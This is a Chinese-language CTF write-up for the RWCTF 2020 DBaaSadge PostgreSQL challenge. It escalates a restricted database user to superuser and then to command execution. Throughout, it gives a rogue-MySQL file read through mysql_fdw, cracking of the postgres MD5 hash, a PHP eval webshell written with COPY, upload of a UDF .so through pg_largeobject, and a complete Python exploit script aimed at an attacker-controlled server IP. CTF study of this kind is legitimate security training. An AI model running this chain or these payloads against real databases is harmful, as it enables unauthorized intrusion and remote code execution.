RWCTF2020 DBaaSadge 復現
資料庫題目
2020RWCTF DBaaSadge WP
這是一個很有意思的題目,難到讓我絕望,跟著大佬smity的思路跑一下,求大佬抱抱。
//mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q
0x01 題目
一打開就是題目的程式碼直接執行,可以直接執行pg的程式碼,但是長度不能超過100.(本身是給了dockerfile)先進行必要的資訊收集。
select version();
select user;
然後大佬說這不是10.5之前修復的那個CVE漏洞,而且那是一道pwn題,這是一個web題。然後想到的就是怎麼樣可以通過psql的資料庫語句來進行命令執行,但是這裡的用戶是realuser,不是superuser用戶,所以網上大部分的方法是不能夠使用的。
所以到現在想到的就是,提權加上getshell,來達到命令執行的效果。
0x02 dockfile分析
其中被圈出來的是和psql有關的操作。比如說,psql -c "command"
這是命令行模式直接執行psql語句的用法。咱們再來細細的分析這個dockerfile。
1. 創建了一個沒有super許可權的realuser 密碼是 realpass
2. 安裝了dblink mysql_fdw的兩個擴展
3. dblink,能夠在一個資料庫中操作另外一個遠程的資料庫。
mysql_fdw擴展則是用來在Postgre中快速訪問MySQL中的數據,也就是給Postgre提供一個外界Mysql的訪問方式
這裡大佬想到了 rouge-mysql
,而我就是個菜雞,資料庫題目一個都不會。(這個考點在CTF中比較常見,通過讓題目連接自己的mysql惡意伺服器來進行任意文件讀取(我怎麼就沒想到)
msql_fdw插件的使用://blog.csdn.net/bingluo8787/article/details/100958098
可以知道和直接使用mysql沒有什麼區別(嘻嘻
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
#創建一個server
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
#創建鏈接用戶名
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
DROP SERVER mysql_server
這樣我們在vps上面掛個腳本就可以了。//github.com/allyshka/Rogue-MySql-Server
這樣就可以任意文件讀取,但是有個問題,這有什麼用了….dokcer都給了。下面就是繼續提權了白。
下面給出3個方法
1.尋找conf文件配置中的漏洞,看能不能免密碼登錄superuser的賬戶,在UNIX平台中安裝PostgreSQL之後,PostgreSQL會在UNIX系統中創建一個名為"postgres"當用戶。PostgreSQL的默認用戶名和資料庫也是"postgres",而且這個是個superuser
2.在pg_hba.conf中如果把host配置為trust是可以進行免密登錄的
3.類比mysql ,在本地尋找密碼存儲的文件。通過vps來讀。
然後我們一個一個來驗證。
首先,我們來尋找這個神奇的conf文件。
難道要成功了嗎?(忘記看啟動文件了。。
再見謝謝。每次docker重啟就是刷新一個五位數的隨機密碼(記住,重點)。
驗證第二條思路:
讀取上面那個文件。
很明顯是不能夠登陸了。然後,五位數密碼爆破,去死把。
最後一個思路:
既然能夠讀取,百度查psql的密碼文件落戶到本地的哪個位置,在哪個目錄,我們直接讀取之。
mysql裡面的密碼存儲方式是落地的,就在data_directory變數的目錄位置,那麼同樣的,進到docker裡面通過查詢一下系統變數,就可以看到postgre的密碼存放位置。
然後用文件內容查找的命令
egrep -r "內容" 目錄
然後使用md5在線解密或者爆破腳本使用。
這裡面有歷史密碼。
md5爆破工具
//c3rb3r.openwall.net/mdcrack
使用方法
//www.91ri.org/1285.html
MDCrack-sse.exe -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b
拿到我想要的帳號和密碼,現在就是和上面的dblink聯合在一起,來登陸這個超級用戶
6k35mpostgres
select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');
成功登陸。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
下面就是如何將上面這句長長的payload打進去了,有長度限制。。。。
如果是敏感字元的考察 ,可以用postgre的存儲過程。
create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
但是存儲過程在命令行中是可以分開寫的,就算是兩次連接一樣可以寫完,但是url裡面他的回車符傳入到postgre後端不識別,因此他不能分開寫,所以還是繞不過去100個字元的限制。因此這個方法不通。
正解:
通過子查詢,將poc語句寫到自己的mysql伺服器,利用mysql_fdw擴展連接mysql伺服器select出來。
postgre的常用命令
\c - realuser 切換用戶到realuser
DROP FOREIGN TABLE a66; 丟掉外部表a66
DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用戶關係 對於realuser server a66
DROP SERVER a66_server;
這個地方一定一定不能因為想弄長一點,就用longtext或者其他text類型來聲明這兩個欄位,因為當postgre從mysql查詢的時候會報如下錯誤:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
現在文件已經寫完了,但是我們沒有什麼許可權
開始打UDF,學習//blog.csdn.net/qq_33020901/article/details/79032774
//github.com/sqlmapproject/udfhack
這是sqlmap上面的udf插件。
linux換源://blog.csdn.net/u012308586/article/details/102953882
在makefile裡面添加一行。執行make 10
編譯完成之後
接下來我們需要將udf.so文件分割成每2048位元組的塊,最後一個塊的大小不滿足2048位元組不需要考慮.
為什麼不能小於2048?是因為在postgresql高版本處理中,如果塊之間小於2048,默認會用0去填充讓塊達到2048位元組所以上傳的文件才會一直創建函數失敗.
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/testeval.so');
SELECT lo_unlink(12345);
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");
在將hex數據插入之後,運行一次poc,然後再將下面這個插入,再運行一次命令即可。
下面腳本的使用條件:
vps上面開啟mysql服務3306埠 帳號admin 密碼123456
有資料庫b b里有
表a 裡面 s欄位是 存儲鏈接ps資料庫super的host和埠和帳號和密碼
m欄位是 命令執行readflag
表b 裡面 s欄位同上
m欄位是 so文件的載入
聽說命令執行有更好的方式不使用udf;
import requests
import hashlib
import random
import uuid
url ="//192.168.72.89:60080/?sql="
#填你的IP
ip="42.192.142.64"
port="3306"
server_name="aaaa"
dbname=server_name
Table_name=server_name
'''
任意文件的poc
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
poc2里填寫你自己mysql的用戶名密碼
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
'''
'''
#插入數據
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
#poc4 = "select dblink_connect((select s from a66),(select m from a66));"
poc5="DROP FOREIGN TABLE a66;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7 = "DROP SERVER a66_server;"
'''
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64 ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7="DROP SERVER a66_server;"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
r8=requests.get(url+poc8)
print(r8.text)
r9=requests.get(url+poc9)
print(r9.text)
r5=requests.get(url+poc5)
print(r5.text)
r6=requests.get(url+poc6)
print(r6.text)
r7=requests.get(url+poc7)
print(r7.text)